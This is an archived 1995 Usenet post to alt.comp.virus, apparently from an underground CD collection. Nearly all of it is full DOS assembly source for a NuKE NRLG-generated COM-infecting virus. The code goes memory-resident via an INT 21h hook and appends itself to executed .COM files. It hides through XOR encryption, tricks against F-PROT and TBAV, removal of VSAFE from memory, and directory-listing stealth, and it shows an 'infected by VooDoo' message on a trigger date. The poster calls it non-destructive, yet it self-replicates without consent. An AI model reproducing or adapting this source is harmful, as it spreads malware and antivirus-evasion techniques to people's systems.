home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / n / nukevir.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  23.6 KB  |  471 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
  3.  
  4. From: yojimbo@crl.com (Douglas Mauldin)
  5.  
  6. Newsgroups: alt.comp.virus
  7.  
  8. Subject: Re: Not-So-Destructive Virii...<post please>
  9.  
  10. Date: 6 Feb 1995 21:44:13 -0800
  11.  
  12. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  13.  
  14. Lines: 450
  15.  
  16. Message-ID: <3h71bd$js1@crl.crl.com>
  17.  
  18. References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
  19.  
  20. NNTP-Posting-Host: crl.com
  21.  
  22. X-Newsreader: TIN [version 1.2 PL2]
  23.  
  24.  
  25.  
  26. ; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic 
  27.  
  28. ; Life Generator). All it does is display a message on June 6th ( I believe).
  29.  
  30.  
  31.  
  32. ;┌────────────────────────────────────────────────────────┐
  33.  
  34. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  35.  
  36. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  37.  
  38. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  39.  
  40. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  41.  
  42. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  43.  
  44. ;└────────────────────────────────────────────────────────┘
  45.  
  46.  
  47.  
  48. .286
  49.  
  50. code    segment
  51.  
  52. assume cs:code,ds:code
  53.  
  54. org  100h
  55.  
  56.  
  57.  
  58. start:  CALL NEXT 
  59.  
  60.  
  61.  
  62. NEXT:  
  63.  
  64.        mov di,sp             ;take the stack pointer location 
  65.  
  66.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  67.  
  68.        sub bp,offset next    ;subtract the large code off this code 
  69.  
  70.                              ;
  71.  
  72. ;*******************************************************************
  73.  
  74. ;                      #1 DECRYPT ROUTINE                               
  75.  
  76. ;*******************************************************************
  77.  
  78.  
  79.  
  80. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  81.  
  82. je crypt2                    ;yes! not decrypt              
  83.  
  84. ;----------------------------------------------------------                                          
  85.  
  86. mov cx,offset fin            ;cx = large of virus               
  87.  
  88. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  89.  
  90. mov dx,1                     ;dx = value for decrypt          
  91.  
  92. ;----------------------------------------------------------                                                   
  93.  
  94. deci:                        ;deci = fuck label!                                    
  95.  
  96. ;----------------------------------------------------------
  97.  
  98.  
  99.  
  100.  inc byte ptr [di]
  101.  
  102. sub word ptr [di],0381h
  103.  
  104.  inc di
  105.  
  106. inc di
  107.  
  108. ;----------------------------------------------------------                                                
  109.  
  110. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  111.  
  112. mov ah,4ch
  113.  
  114. int 21h
  115.  
  116. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  117.  
  118. ;-----------------------------------------------------------                               
  119.  
  120. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  121.  
  122. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  123.  
  124. ;----------------------------------------------------------                                   
  125.  
  126. loop deci                    ;repeat please!               
  127.  
  128.                              ;           
  129.  
  130. ;*****************************************************************
  131.  
  132. ;                   #2 DECRYPT ROUTINE                                                    
  133.  
  134. ;*****************************************************************
  135.  
  136.                               ;    
  137.  
  138. crypt:                        ;fuck label!                  
  139.  
  140.                               ;                
  141.  
  142. mov cx,offset fin             ;cx = large of virus                 
  143.  
  144. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  145.  
  146. ;---------------------------------------------------------------                                              
  147.  
  148. deci2:                        ;              
  149.  
  150. xor byte ptr cs:[di],1        ;decrytion rutine          
  151.  
  152. inc di                        ;very simple...            
  153.  
  154. loop deci2                    ;           
  155.  
  156. ;---------------------------------------------------------------
  157.  
  158. crypt2:                       ;fuck label!          
  159.  
  160.                               ;                  
  161.  
  162. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  163.  
  164. INT 21H                       ;for chek "I'm is residet?"   
  165.  
  166. CMP Bh,0CAH                   ;is equal to CACA?
  167.  
  168. JE PUM2                       ;yes! jump to runnig program
  169.  
  170. call action
  171.  
  172. ;*****************************************************************
  173.  
  174. ; NRLG FUNCTIONS  (SELECTABLE)
  175.  
  176. ;*****************************************************************
  177.  
  178.  
  179.  
  180.  call ANTI_V
  181.  
  182. ;****************************************************************
  183.  
  184. ;               PROCESS TO REMAIN RESIDENT                                                                  
  185.  
  186. ;****************************************************************   
  187.  
  188.  
  189.  
  190. mov   ax,3521h                  
  191.  
  192. int   21h                        ;store the int 21 vectors 
  193.  
  194. mov   word ptr [bp+int21],bx     ;in cs:int21
  195.  
  196. mov   word ptr [bp+int21+2],es   ;
  197.  
  198. ;---------------------------------------------------------------
  199.  
  200. push cs                          ; 
  201.  
  202. pop ax                           ;ax = my actual segment                             
  203.  
  204. dec ax                           ;dec my segment for look my MCB
  205.  
  206. mov es,ax                        ;
  207.  
  208. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  209.  
  210. ;---------------------------------------------------------------
  211.  
  212. push cs                          ;   
  213.  
  214. pop es                           ;   
  215.  
  216. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  217.  
  218. sub bx,17 + offset fin           ;and 100H for the PSP total
  219.  
  220. mov ah,4ah                       ;used memory
  221.  
  222. int 21h                          ;put the new value to MCB
  223.  
  224. ;---------------------------------------------------------------
  225.  
  226. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  227.  
  228. mov ah,48h                      ;                              
  229.  
  230. int 21h                         ;request the memory to fuck DOS!                                                 
  231.  
  232. ;---------------------------------------------------------------
  233.  
  234. dec ax                          ;ax=new segment 
  235.  
  236. mov es,ax                       ;ax-1= new segment MCB 
  237.  
  238. mov byte ptr es:[1],8           ;put '8' in the segment
  239.  
  240. ;--------------------------------------------------------------                                
  241.  
  242. inc ax                          ; 
  243.  
  244. mov es,ax                       ;es = new segment
  245.  
  246. lea si,[bp + offset start]      ;si = start of virus 
  247.  
  248. mov di,100h                     ;di = 100H (psp position) 
  249.  
  250. mov cx,offset fin - start       ;cx = lag of virus
  251.  
  252. push cs                         ;
  253.  
  254. pop ds                          ;ds = cs
  255.  
  256. cld                             ;mov the code
  257.  
  258. rep movsb                       ;ds:si >> es:di
  259.  
  260. ;--------------------------------------------------------------
  261.  
  262. mov dx,offset virus             ;dx = new int21 handler
  263.  
  264. mov ax,2521h                    ;
  265.  
  266. push es                         ; 
  267.  
  268. pop ds                          ; 
  269.  
  270. int 21h                         ;set the vectors 
  271.  
  272. ;-------------------------------------------------------------
  273.  
  274. pum2:                               ;  
  275.  
  276.                                     ; 
  277.  
  278. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  279.  
  280. mov byte ptr cs:[100h],ah           ;first bytes  
  281.  
  282. mov ax,word ptr [cs:bp + real + 1]  ;
  283.  
  284. mov word ptr cs:[101h],ax           ;
  285.  
  286. ;-------------------------------------------------------------
  287.  
  288. mov ax,100h                         ;
  289.  
  290. jmp ax                              ;jmp to execute
  291.  
  292.                                     ;
  293.  
  294. ;*****************************************************************
  295.  
  296. ;*             HANDLER FOR THE INT 21H                                       
  297.  
  298. ;*****************************************************************
  299.  
  300.                           ;          
  301.  
  302. VIRUS:                    ;  
  303.  
  304.                           ;     
  305.  
  306. cmp ah,4bh                ;is a 4b function? 
  307.  
  308. je REPRODUCCION           ;yes! jump to reproduce !
  309.  
  310. cmp ah,11h
  311.  
  312. je dir
  313.  
  314. cmp ah,12h
  315.  
  316. je dir
  317.  
  318. dirsal:
  319.  
  320. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  321.  
  322. jne a3                    ;no! jump to a3
  323.  
  324. mov bh,0cah               ;yes! put ca in bh
  325.  
  326. a3:                       ;
  327.  
  328. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  329.  
  330. ret                       ;    
  331.  
  332. make db '[NuKE] N.R.L.G. AZRAEL'
  333.  
  334. dir:
  335.  
  336. jmp dir_s
  337.  
  338. ;-------------------------------------------------------------
  339.  
  340. REPRODUCCION:              ;       
  341.  
  342.                            ;
  343.  
  344. pushf                      ;put the register
  345.  
  346. pusha                      ;in the stack
  347.  
  348. push si                    ;
  349.  
  350. push di                    ;
  351.  
  352. push bp                    ;
  353.  
  354. push es                    ;
  355.  
  356. push ds                    ;
  357.  
  358. ;-------------------------------------------------------------
  359.  
  360. push cs                    ;  
  361.  
  362. pop ds                     ;  
  363.  
  364. mov ax,3524H               ;get the dos error control                      
  365.  
  366. int 21h                    ;interupt                        
  367.  
  368. mov word ptr error,es      ;and put in cs:error                      
  369.  
  370. mov word ptr error+2,bx    ;            
  371.  
  372. mov ax,2524H               ;change the dos error control                    
  373.  
  374. mov dx,offset all          ;for my "trap mask"                      
  375.  
  376. int 21h                    ;         
  377.  
  378. ;-------------------------------------------------------------
  379.  
  380. pop ds                     ;
  381.  
  382. pop es                     ;restore the registers
  383.  
  384. pop bp                     ;
  385.  
  386. pop di                     ;
  387.  
  388. pop si                     ;
  389.  
  390. popa                       ;
  391.  
  392. popf                       ;
  393.  
  394. ;-------------------------------------------------------------
  395.  
  396. pushf                      ;put the registers
  397.  
  398. pusha                      ;     
  399.  
  400. push si                    ;HEY! AZRAEL IS CRAZY?
  401.  
  402. push di                    ;PUSH, POP, PUSH, POP
  403.  
  404. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  405.  
  406. push es                    ;PURIFY THIS SHIT!
  407.  
  408. push ds                    ;
  409.  
  410. ;-------------------------------------------------------------
  411.  
  412. mov ax,4300h                 ;       
  413.  
  414. int 21h                      ;get the file     
  415.  
  416. mov word ptr cs:[attrib],cx  ;atributes   
  417.  
  418. ;-------------------------------------------------------------
  419.  
  420. mov ax,4301h                 ;le saco los atributos al        
  421.  
  422. xor cx,cx                    ;file 
  423.  
  424. int 21h                      ;
  425.  
  426. ;-------------------------------------------------------------  
  427.  
  428. mov ax,3d02h                 ;open the file 
  429.  
  430. int 21h                      ;for read/write
  431.  
  432. mov bx,ax                    ;bx=handle
  433.  
  434. ;-------------------------------------------------------------
  435.  
  436. mov ax,5700h                ;     
  437.  
  438. int 21h                     ;get the file date  
  439.  
  440. mov word ptr cs:[hora],cx   ;put the hour    
  441.  
  442. mov word ptr cs:[dia],dx    ;put the day    
  443.  
  444. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  445.  
  446. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  447.  
  448. jne seguir                  ;yes! the file is infected!     
  449.  
  450. jmp cerrar                  ;
  451.  
  452. ;------------------------------------------------------------
  453.  
  454. seguir:                     ;     
  455.  
  456. mov ax,4202h                ;move the pointer to end
  457.  
  458. call movedor                ;of the file
  459.  
  460. ;------------------------------------------------------------
  461.  
  462. push cs                     ;   
  463.  
  464. pop ds                      ; 
  465.  
  466. sub ax,3                    ;calculate the 
  467.  
  468. mov word ptr [cs:largo],ax  ;jmp long
  469.  
  470. ;-------------------------------------------------------------
  471.  
  472. mov ax,04200h               ;move the pointer to  
  473.  
  474. call movedor                ;start of file
  475.  
  476. ;----------------------------------------------------------                                          
  477.  
  478. push cs                     ;   
  479.  
  480. pop ds                      ;read the 3 first bytes  
  481.  
  482. mov ah,3fh                  ;                           
  483.  
  484. mov cx,3                    ;
  485.  
  486. lea dx,[cs:real]            ;put the bytes in cs:[real]
  487.  
  488. int 21h                     ;
  489.  
  490. ;----------------------------------------------------------                                          
  491.  
  492. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  493.  
  494. jne er1                         ;yes! is a EXE... fuckkk!
  495.  
  496. ;----------------------------------------------------------
  497.  
  498. jmp cerrar
  499.  
  500. er1:
  501.  
  502. ;----------------------------------------------------------                                          
  503.  
  504. mov ax,4200h      ;move the pointer                               
  505.  
  506. call movedor      ;to start fo file
  507.  
  508. ;----------------------------------------------------------                                          
  509.  
  510. push cs           ;       
  511.  
  512. pop ds            ; 
  513.  
  514. mov ah,40h        ;  
  515.  
  516. mov cx,1          ;write the JMP
  517.  
  518. lea dx,[cs:jump]  ;instruccion in the
  519.  
  520. int 21h           ;fist byte of the file
  521.  
  522. ;----------------------------------------------------------                                          
  523.  
  524. mov ah,40h         ;write the value of jmp
  525.  
  526. mov cx,2           ;in the file 
  527.  
  528. lea dx,[cs:largo]  ; 
  529.  
  530. int 21h            ;
  531.  
  532. ;----------------------------------------------------------                                          
  533.  
  534. mov ax,04202h      ;move the pointer to 
  535.  
  536. call movedor       ;end of file
  537.  
  538. ;----------------------------------------------------------                                          
  539.  
  540. push cs                     ;        
  541.  
  542. pop ds                      ;move the code  
  543.  
  544. push cs                     ;of my virus      
  545.  
  546. pop es                      ;to cs:end+50     
  547.  
  548. cld                         ;for encrypt          
  549.  
  550. mov si,100h                 ;    
  551.  
  552. mov di,offset fin + 50      ;      
  553.  
  554. mov cx,offset fin - 100h    ;        
  555.  
  556. rep movsb                   ;      
  557.  
  558. ;----------------------------------------------------------                                          
  559.  
  560. mov cx,offset fin           
  561.  
  562. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  563.  
  564. enc:                              ;           
  565.  
  566. xor byte ptr cs:[di],1            ;encrypt the virus              
  567.  
  568. inc di                            ;code                   
  569.  
  570. loop enc                          ;              
  571.  
  572. ;---------------------------------------------------------
  573.  
  574. mov cx,offset fin           
  575.  
  576. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  577.  
  578. mov dx,1
  579.  
  580. enc2:                              ;           
  581.  
  582.  
  583.  
  584.  add word ptr [di],0381h
  585.  
  586. dec byte ptr [di]
  587.  
  588.  inc di
  589.  
  590. inc di                             ;the virus code                  
  591.  
  592. loop enc2                          ;              
  593.  
  594. ;--------------------------------------------
  595.  
  596. mov ah,40h                       ;  
  597.  
  598. mov cx,offset fin - offset start ;copy the virus              
  599.  
  600. mov dx,offset fin + 50           ;to end of file
  601.  
  602. int 21h                          ;
  603.  
  604. ;----------------------------------------------------------                                          
  605.  
  606. cerrar:                          ;
  607.  
  608.                                  ;restore the       
  609.  
  610. mov ax,5701h                     ;date and time    
  611.  
  612. mov cx,word ptr cs:[hora]        ;file   
  613.  
  614. mov dx,word ptr cs:[dia]         ;     
  615.  
  616. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  617.  
  618. int 21h                          ; 
  619.  
  620. ;----------------------------------------------------------                                          
  621.  
  622. mov ah,3eh                       ; 
  623.  
  624. int 21h                          ;close the file
  625.  
  626. ;----------------------------------------------------------                                          
  627.  
  628. pop ds                           ;
  629.  
  630. pop es                           ;restore the 
  631.  
  632. pop bp                           ;registers
  633.  
  634. pop di                           ; 
  635.  
  636. pop si                           ;
  637.  
  638. popa                             ;
  639.  
  640. popf                             ;
  641.  
  642. ;----------------------------------------------------------                                          
  643.  
  644. pusha                           ;   
  645.  
  646.                                 ;                                                             
  647.  
  648. mov ax,4301h                    ;restores the atributes 
  649.  
  650. mov cx,word ptr cs:[attrib]     ;of the file  
  651.  
  652. int 21h                         ;   
  653.  
  654.                                 ;
  655.  
  656. popa                            ; 
  657.  
  658. ;----------------------------------------------------------                                          
  659.  
  660. pushf                           ;                           
  661.  
  662. pusha                           ; 8-(  = f-prot                       
  663.  
  664. push si                         ;                       
  665.  
  666. push di                         ; 8-(  = tbav   
  667.  
  668. push bp                         ;                       
  669.  
  670. push es                         ; 8-)  = I'm                        
  671.  
  672. push ds                         ;                              
  673.  
  674. ;----------------------------------------------------------                                          
  675.  
  676. mov ax,2524H                    ;                         
  677.  
  678. lea bx,error                    ;restore the                         
  679.  
  680. mov ds,bx                       ;errors handler      
  681.  
  682. lea bx,error+2                  ;                         
  683.  
  684. int 21h                         ;                       
  685.  
  686. ;----------------------------------------------------------                                          
  687.  
  688. pop ds                          ;
  689.  
  690. pop es                          ;
  691.  
  692. pop bp                          ;restore the 
  693.  
  694. pop di                          ;resgisters
  695.  
  696. pop si                          ;
  697.  
  698. popa                            ;
  699.  
  700. popf                            ;
  701.  
  702. ;----------------------------------------------------------                                          
  703.  
  704. JMP A3                          ;jmp to orig. INT 21
  705.  
  706.                                 ;
  707.  
  708. ;**********************************************************
  709.  
  710. ;           SUBRUTINES AREA
  711.  
  712. ;**********************************************************
  713.  
  714.                                 ;
  715.  
  716. movedor:                        ;   
  717.  
  718.                                 ; 
  719.  
  720. xor cx,cx                       ;use to move file pointer         
  721.  
  722. xor dx,dx                       ;       
  723.  
  724. int 21h                         ;        
  725.  
  726. ret                             ;        
  727.  
  728. ;----------------------------------------------------------                                          
  729.  
  730. all:                            ;  
  731.  
  732.                                 ; 
  733.  
  734. XOR AL,AL                       ;use to set 
  735.  
  736. iret                            ;error flag
  737.  
  738.  
  739.  
  740. ;***********************************************************
  741.  
  742. ;         DATA AREA
  743.  
  744. ;***********************************************************
  745.  
  746. largo  dw  ?
  747.  
  748. jump   db  0e9h
  749.  
  750. real   db  0cdh,20h,0
  751.  
  752. hora   dw  ?
  753.  
  754. dia    dw  ?
  755.  
  756. attrib dw  ?
  757.  
  758. int21  dd  ?
  759.  
  760. error  dd  ?
  761.  
  762.  
  763.  
  764.  ;---------------------------------
  765.  
  766. action:                          ;Call label      
  767.  
  768. MOV AH,2AH                       ;        
  769.  
  770. INT 21H                          ;get date           
  771.  
  772. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  773.  
  774. JE  cont                         ;nop! fuck ret          
  775.  
  776. cmp byte ptr cs:[action_dia+bp],32  ;
  777.  
  778. jne no_day                       ;
  779.  
  780. cont:                            ; 
  781.  
  782. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  783.  
  784. je set                           ;
  785.  
  786. cmp byte ptr cs:[action_mes+bp],13  ;
  787.  
  788. jne NO_DAY                       ;nop! fuck ret           
  789.  
  790. set:                             ; 
  791.  
  792. mov AH,9                         ;yeah!!          
  793.  
  794. MOV DX,OFFSET PAO                ;print my text!         
  795.  
  796. INT 21H                          ;now!   
  797.  
  798. INT 20H                          ;an finsh te program        
  799.  
  800. NO_DAY:                          ;label to incorrect date              
  801.  
  802. ret                              ;return from call 
  803.  
  804. ;---------------------------------
  805.  
  806.  
  807.  
  808.  
  809.  
  810. PAO:
  811.  
  812. DB 10,13,'Congratulations! You Have Been  infected by VooDoo...           Compliments of HeadHunter     ','$'
  813.  
  814.  
  815.  
  816. ;---------------------------------
  817.  
  818. ANTI_V:                          ; 
  819.  
  820. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  821.  
  822. MOV DX,5945H                     ; 
  823.  
  824. INT 21H                          ;           
  825.  
  826. ret                              ;
  827.  
  828. ;---------------------------------
  829.  
  830.  
  831.  
  832.  ;*****************************************************
  833.  
  834. dir_s:                                                               
  835.  
  836.              pushf                                                         
  837.  
  838.              push    cs                                                    
  839.  
  840.              call    a3                      ;Get file Stats                       
  841.  
  842.              test    al,al                   ;Good FCB?                            
  843.  
  844.              jnz     no_good                 ;nope                                 
  845.  
  846.              push    ax                                                 
  847.  
  848.              push    bx                                                    
  849.  
  850.              push    es                                                    
  851.  
  852.              mov     ah,51h                  ;Is this Undocmented? huh...          
  853.  
  854.              int     21h                                                   
  855.  
  856.              mov     es,bx                                                 
  857.  
  858.              cmp     bx,es:[16h]                                           
  859.  
  860.              jnz     not_infected                        
  861.  
  862.              mov     bx,dx                                                 
  863.  
  864.              mov     al,[bx]                                               
  865.  
  866.              push    ax                                                    
  867.  
  868.              mov     ah,2fh                   ;Get file DTA                         
  869.  
  870.              int     21h                                                   
  871.  
  872.              pop     ax                                                    
  873.  
  874.              inc     al                                                    
  875.  
  876.              jnz     fcb_okay                                              
  877.  
  878.              add     bx,7h                                                 
  879.  
  880. fcb_okay:    mov     ax,es:[bx+17h]                                   
  881.  
  882.              and     ax,1fh                   ;UnMask Seconds Field                 
  883.  
  884.              xor     al,byte ptr cs:fechad                                      
  885.  
  886.              jnz     not_infected                                            
  887.  
  888.              and     byte ptr es:[bx+17h],0e0h                            
  889.  
  890.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  891.  
  892.              sbb     es:[bx+1fh],ax                                        
  893.  
  894. not_infected:pop     es                                                    
  895.  
  896.              pop     bx                                                    
  897.  
  898.              pop     ax                                                    
  899.  
  900. no_good:     iret                                                          
  901.  
  902. ;********************************************************************
  903.  
  904. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  905.  
  906. ;*********************************************************************
  907.  
  908.  
  909.  
  910.  action_dia Db 06H ;day for the action
  911.  
  912. action_mes Db 06H ;month for the action
  913.  
  914. FECHA DW 01eH ;Secon for mark
  915.  
  916. FECHAd Db 01eH ;Secon for mark dir st
  917.  
  918. fin:
  919.  
  920. code ends
  921.  
  922. end start
  923.  
  924.  
  925.  
  926.  
  927.  
  928. --
  929.  
  930. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  931.  
  932. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  933.  
  934. Student at the Northeatstern University College of Computer Science 
  935.  
  936. "I Can't Believe It's Not Butter"
  937.  
  938.  
  939.  
  940.